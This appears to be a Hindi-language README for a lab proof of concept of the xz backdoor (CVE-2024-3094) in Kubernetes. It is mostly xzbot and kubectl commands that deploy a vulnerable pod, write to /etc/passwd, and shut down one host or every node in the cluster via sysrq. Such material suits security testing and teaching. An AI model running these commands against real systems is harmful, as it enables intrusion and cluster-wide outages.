
K8s क्लस्टर के अंदर CVE-2024-3094 भेद्यता का परीक्षण करने के लिए बेसिक POC
K8s क्लस्टर के अंदर CVE-2024-3094 भेद्यता का परीक्षण करने के लिए बेसिक POC
हम एक भेद्य (vulnerable) पॉड deploy करेंगे और उस भेद्य पॉड के अंदर कमांड निष्पादित करने के लिए उसका शोषण करेंगे; सुरक्षा कारणों से हम यह उसी नेटवर्क के अंदर करते हैं। हम भेद्य पॉड को इंटरनेट पर expose नहीं करते, लेकिन अवधारणा समान है।
यह भेद्यता पॉड के अंदर कमांड निष्पादित करने की अनुमति देती है, भले ही पॉड security context के साथ चल रहा हो; उदाहरण के लिए, आप उस होस्ट को shutdown कर सकते हैं जो पॉड चला रहा है।
यदि यह भेद्यता एक single पॉड में चल रही है, तो आप होस्ट को shutdown कर सकते हैं, जिससे उस होस्ट पर चल रही सभी सेवाएँ अस्थायी रूप से अनुपलब्ध हो जाती हैं। लेकिन, यदि यह भेद्यता daemonset के रूप में चल रही है, तो आप उस daemonset को चला रहे सभी होस्ट्स को shutdown कर सकते हैं, यहाँ तक कि पूरे क्लस्टर को भी।
सबसे पहले, क्लस्टर में xzbots install करें
go install github.com/amlweems/xzbot@latest
रिपॉज़िटरी download करें और भेद्य deployment/daemonset deploy करें
git clone https://github.com/shefirot/CVE-2024-3094.git
cd CVE-2024-3094
# Deployment
kubectl apply -f deploy_cve-2024-3094.yml
# Or daemonset
kubectl apply -f daemonset_cve-2024-3094.yml
# Get the pod name
kubectl -n vulnes get pods
# Port forward the pod
kubectl -n vulnes port-forward <pod-name> 2225:22
# Execute command, for example write in /etc/passwd
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo "David estuvo aqui" >> /etc/passwd'
# Check the /etc/passwd file
kubectl -n vulnes exec <pod-name> -- /usr/bin/cat /etc/passwd
आगे बढ़ें और होस्ट को shutdown करें
# Enable sysrq
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo 1 > /proc/sys/kernel/sysrq'
# Shutdown the host
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo o > /proc/sysrq-trigger'
आप daemonset चला रहे सभी होस्ट्स को भी shutdown कर सकते हैं
source shutdown_nodes.sh
जब आप सभी होस्ट्स को shutdown करने के लिए loop चलाते हैं, यदि आपको यह error मिलता है:
2024/06/11 12:08:58 dial tcp 127.0.0.1:2225: connect: connection refused
पोर्ट फ़ॉरवर्ड तैयार होने के लिए अधिक समय दें; आप लूप में sleep time बढ़ा सकते हैं।
कंटेनर इमेज रिपॉज़िटरी में मौजूद dockerfile के साथ बनाई गई थी; आप इमेज बना सकते हैं और इसे अपनी registry में push कर सकते हैं।
liblzma.so.5.6.0.patch लाइब्रेरी बनाने के लिए, आप references में दिए गए amlweems repo का उपयोग कर सकते हैं।